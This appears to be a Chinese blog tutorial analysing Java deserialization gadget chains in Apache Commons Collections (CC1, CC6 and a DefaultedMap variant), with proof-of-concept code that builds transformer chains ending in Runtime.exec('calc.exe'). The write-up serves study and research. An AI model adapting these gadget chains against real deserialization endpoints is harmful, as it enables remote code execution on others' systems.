如何挖一条新的Co…
CommonsCollections1利用链
从一个简化的Demo说起
P神的简化的Demo:
package org.vulhub.Ser;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}
创建了⼀个ChainedTransformer
,其中包含两个Transformer:第⼀个是ConstantTransformer
,
直接返回当前环境的Runtime对象;第⼆个是InvokerTransformer
,执⾏Runtime对象的exec⽅法,参
数是 calc.exe
。
当然,这个transformerChain
只是⼀系列回调,我们需要⽤其来包装innerMap
,使⽤的前⾯说到的
TransformedMap.decorate
:
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
最后,怎么触发回调呢?就是向Map中放⼊⼀个新的元素:
outerMap.put("test", "xxxx");
几个类:
TransformedMap
TransformedMap
⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可
以执⾏⼀个回调。 我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);
其中, keyTransformer
是处理新元素的Key的回调, valueTransformer
是处理新元素的value的回调。
我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer
接⼝的类。
Transformer
Transformer
是⼀个接⼝,它只有⼀个待实现的⽅法:
public interface Transformer {
public Object transform(Object input);
}
TransformedMap
在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个”回调
函数“,这个回调的参数是原始对象。
ConstantTransformer
ConstantTransformer
是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个
对象,并在transform⽅法将这个对象再返回:
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。
InvokerTransformer
InvokerTransformer
是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序
列化能执行任意代码的关键。
在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数
是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表 :
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
后⾯的回调transform⽅法,就是执⾏了input对象的iMethodName⽅法:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
ChainedTransformer
ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串
在⼀起。
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
由demo到POC
先对比一下ysoserial的调用栈:
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
demo中并没有用到ObjectInputStream
,AnnotationInvocationHandler
,LazyMap
,而多了一个TransformMap
。缘何?
AnnotationInvocationHandler
漏洞的触发是向Map中加入一个新的元素,demo里是手工outerMap.put("test", "xxxx");
触发,实际反序列化需要一个类在反序列化的readObject逻辑⾥有类似的写⼊操作 。
即sun.reflect.annotation.AnnotationInvocationHandler
,其readObject如是(8u71前):
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { // -_- 关键1
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue( // -_- 关键2
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
核⼼逻辑就是 Map.Entry<String, Object> memberValue : memberValues.entrySet()
和
memberValue.setValue(...)
。
memberValues
就是反序列化后得到的Map,也是经过了TransformedMap
修饰的对象,这⾥遍历了它
的所有元素,并依次设置值。在调⽤setValue
设置值的时候就会触发TransformedMap
⾥注册的
Transform,进而执⾏我们为其精心设计的任意代码。
所以POC中需要创建一个AnnotationInvocationHandler
对象,并将前面构造的HashMap
设置进来:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//反射.forName 获取类
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
//获取其构造方法
construct.setAccessible(true);
//设为外部可见
Object obj = construct.newInstance(Retention.class, outerMap);
//反射.newInstance 实例化对象
注意这里用了反射。因为 sun.reflect.annotation.AnnotationInvocationHandler
是⼀个内部类,不能直接使⽤new来实例化。 使⽤反射获取到了它的构造⽅法,并将其设置成外部可见的,再调⽤就可以实例化了。
Tips:
AnnotationInvocationHandler
类的构造函数有两个参数(即Line 7 Retention.class
, outerMap),第⼀个参数是⼀个Annotation类;第⼆个参数就是前⾯构造的Map。
Annotation
是java里的注解,@Retention
是java里的元注解,元注解是用来描述注解的,即注解的注解。(笑
注解个人理解是标签,不改变程序本身的逻辑,相似于python的装饰器。
回到函数中,@Retention用来描述注解将会在哪个层次存在,即其生命周期:
RetentionPolicy | 说明 | 举例 |
---|---|---|
SOURCE | 只会在java文件中存在,编译时忽略 | @Override, @SupressWarnings |
CLASS | class文件中亦可见,jvm加载时忽略。(默认情况) | |
RUNTIME | class中可见,jvm加载时亦存在。 | @Deprecated |
上面构造函数参数1的Retention.calss
是描述其jvm加载时忽略?(不像
三处细节
为什么要用反射
AnnotationInvocationHandler
对象是反序列化利⽤链的起点。但如果直接将这个对象⽣成序列化流作POC:
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
在writeObject
时会出现异常:java.io.NotSerializableException: java.lang.Runtime
。
原因是, Java中不是所有对象都⽀持序列化, 待序列化的对象和所有它使⽤的内部属性对象,必须都实
现了 java.io.Serializable
接口。⽽最早传给ConstantTransformer
的是 Runtime.getRuntime()
, Runtime类没有实现 java.io.Serializable
接口,所以不允许被序列化。所以说不能直接使用Runtime类,需要用反射来获取Runtime对象:
Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc.exe");
转换成Transformer的写法如是:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class },
new Object[] {"getRuntime",new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"calc.exe" }),
};
和demo最⼤的区别就是将 Runtime.getRuntime()
换成了 Runtime.class
,前者是⼀个 java.lang.Runtime
对象,后者是⼀个 java.lang.Class
对象。 Class类有实现Serializable接⼝,所以可以被序列化。
一处if
做完以上修改之后,依旧不是一个可以弹计算器的POC,还有一处逻辑没过:
在 AnnotationInvocationHandler:readObject
的逻辑中,有⼀个if语句对var7进⾏判断,只有在其
不是null的时候才会进⼊⾥⾯执⾏setValue,否则不会进⼊也就不会触发漏洞,绕过的条件:
sun.reflect.annotation.AnnotationInvocationHandler
构造函数的第⼀个参数必须是
Annotation的⼦类,且其中必须含有⾄少⼀个方法,假设方法名是X- 被
TransformedMap.decorate
修饰的Map中必须有⼀个键名为X的元素
所以说,前面用到 Retention.class
,并非是用注解的功能,而是因为Retention有⼀个⽅法,名为value;所以,为了再满⾜第⼆个条件,给Map中放⼊⼀个Key是value的元素即可:
innerMap.put("value", "xxxx");
版本问题
Java 8u71 之后Java官⽅修改了 sun.reflect.annotation.AnnotationInvocationHandler
的readObject函数:
改动后,不再直接使⽤反序列化得到的Map对象,⽽是新建了⼀个LinkedHashMap
对象,并将原来的键值添加进去。
所以,后续对Map的操作都是基于这个新的LinkedHashMap
对象,⽽原来我们精⼼构造的Map不再执⾏set或put操作,也就不会触发RCE了。
LazyMap
P师傅的demo里并没有用到LazyMap
,却也完成了弹计算器,他用的是TransformedMap
。在如今的java版本中,用LazyMap和TransformedMap其实都不能RCE了,原因如上文版本问题。不过不妨碍跟着ysoserial用LazyMap的利用链去加深理解一下Java对象代理。
根源上讲,LazyMap和TransformedMap都来自于Common-Collections库,并继承AbstractMapDecorator
。 LazyMap漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform
,而LazyMap是在其get方法中执行的 factory.transform
。
LazyMap的Lazy在于“懒加载”,在get找不到值的时候,它会调用 factory.transform
方法去获取一个值:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在
sun.reflect.annotation.AnnotationInvocationHandler
的readObject方法中并没有直接调用到
Map的get方法。
所以ysoserial用的是另一条路,AnnotationInvocationHandler
类的invoke方法有调用到get,使用可以使用Java的对象代理来调用AnnotationInvocationHandler#invoke
,从而调用到get。
Java 对象代理
作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法 __call
,我们需
要用到 java.reflect.Proxy
:
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),
new Class[] {Map.class},
handler);
Proxy.newProxyInstance
的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要
代理的对象集合;第三个参数是一个实现了InvocationHandler
接口的对象,里面包含了具体代理的逻
辑 。
回看 sun.reflect.annotation.AnnotationInvocationHandler
,会发现实际上这个类实际就是一个InvocationHandler
,我们如果将这个对象用Proxy
进行代理,那么在readObject
的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke
方法中,进而触发我们的LazyMap#get
。
LazyMap构造利用链
在TransformedMap POC的基础上进行修改,首先使用LazyMap替换TransformedMap:
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
然后,对 sun.reflect.annotation.AnnotationInvocationHandler
对象进行Proxy:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)
construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
代理后的对象叫做proxyMap
,但我们不能直接对其进行序列化,因为我们入口点是
sun.reflect.annotation.AnnotationInvocationHandler#readObject
,所以我们还需要再用
AnnotationInvocationHandler
对proxyMap
进行包裹:
handler = (InvocationHandler)
construct.newInstance(Retention.class,proxyMap);
从CommonsCollections6看利用链的变化
Java 8u71之后,CommonsCollections1因sun.reflect.annotation.AnnotationInvocationHandler#readObject
的逻辑变化而不再可用,众所周知,CommonsCollections6在CommonsCollections利用链里算泛用性比较强的,跟一下这条链也许能够有些新思路:
//ysoserial garget chain
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
//P师傅简化链
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get() //☆
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
如前文所提及,新版本CC1不可用的核心在AnnotationInvocationHandler
的变化,而变化的核心在于Lazymap#get
那里被改写。所以说,解决Java⾼版本利⽤问题,实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get()
的地⽅ 。
这个寻找的场景,就很CTF。
新的LazyMap#get()
这里找到的类就是 org.apache.commons.collections.keyvalue.TiedMapEntry
,在其getValue
⽅法中调⽤了 this.map.get
,⽽其hashCode
⽅法调⽤了getValue
⽅法:
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getKey() {
return this.key;
}
public Object getValue() {
return this.map.get(this.key);
}
//...
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
//...
}
所以说,这里要触发LazyMap利⽤链,可以归结为寻找调用 TiedMapEntry#hashCode
处。
ysoserial中,是利⽤ java.util.HashSet#readObject
到 HashMap#put()
到 HashMap#hash(key)
最后到 TiedMapEntry#hashCode()
。
P师傅的链,因为在 java.util.HashMap#readObject
中就可以找到 HashMap#hash()
的调⽤,所以去掉了最前面的两次调用。(Demo POC)
在HashMap的readObject⽅法中,调⽤到了 hash(key)
,⽽hash⽅法中,调用到了key.hashCode()
。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前⾯的分析过程,构成⼀个完整的Gadget。
怎样挖一条新的CommonsCollections利用链
让我们倒退回起点,CommonsCollections1里为了解决Java⾼版本利⽤问题,我们需要在上下⽂中找到是否还有其他调⽤ LazyMap#get()
的地⽅ 。
梅子酒师傅在WCTF2019出的一道题,这道题摘除了LazyMap和TransformedMap的链。相对解决版本问题时寻找其他 LazyMap#get()
的调用更加严苛。要绕过这限制,且先看一下他在出题笔记里归结的LazyMap调用流程:
BadAttributeValueExpException.readObject
TiedMapEntry.toString
TiedMapEntry.getValue
LazyMap.get
ChainedTransformer.transform
InvokerTransformer.transform
回想最初用TransformedMap的那个极简Demo,调用流程(此处再查
那么,我们需要寻找到一个Map,在这个Map中,应当调用了transformer.transform,并且transformer的值可控。这里所找到的就是DefaultedMap
,他们都是在get方法中调用transform,并且调用transform方法的对象都是可控的transformer,流程同LazyMap类似:
BadAttributeValueExpException.readObject
TiedMapEntry.toString
TiedMapEntry.getValue
DefaultedMap.get
ChainedTransformer.transform
InvokerTransformer.transform
之后在用LazyMap
的exp之上写一份用DefaultedMap
的即可。
题目到这里就结束了,但一个好的CTF题,出题人会想告诉我们一些安全研究的方法论。
如何挖一条新的利用链?从P师傅的Java安全漫谈和梅子酒师傅的题中能看出,他们都在考虑链上的那些东西是必要,那些东西是可以替换的。题目里,LazyMap可以被DefaultedMap替换;漫谈中,CommonsCollections1链的某些环可以被精简。抽丝剥茧与改弦更张之后,说不定就是新的利用链。
参考
Phithon师傅的Java安全漫谈
(全系列,包括未来的新漫谈也想丰富进这篇文章,真的学到很多,极度推荐
梅子酒的WCTF2019出题笔记
(如何挖一条新的CommonsCollections利用链